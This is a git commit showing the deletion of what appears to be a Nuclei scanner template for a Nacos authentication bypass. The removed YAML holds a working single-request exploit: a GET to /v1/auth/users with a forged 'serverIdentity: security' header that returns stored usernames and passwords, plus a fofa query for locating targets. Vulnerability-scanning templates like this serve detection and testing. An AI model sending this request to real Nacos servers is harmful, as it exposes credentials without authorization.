Delete nacos-auth-bypass.yaml

patch-1
Ritik Chaddha 2023-08-22 13:25:06 +05:30 committed by GitHub
parent ceca12f8ba
commit 4302231285
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 42 deletions

View File

@ -1,42 +0,0 @@
id: nacos-auth-bypass
info:
name: Nacos - Authentication Bypass
author: SleepingBag945
severity: high
description: |
When analyzing the authentication verification process of Nacos, it is found that there are various default authentication methods. By default, various methods can be used to bypass authorization authentication.
reference:
- https://zhuanlan.zhihu.com/p/602021283
metadata:
max-request: 1
verified: true
fofa-query: app="NACOS"
tags: nacos,auth-bypass
http:
- raw:
- |
GET /v1/auth/users?pageNo=1&pageSize=9&search=blur HTTP/1.1
Host: {{Hostname}}
serverIdentity: security
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"totalCount":'
- '"username":'
- '"password":'
- '"pagesAvailable":'
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200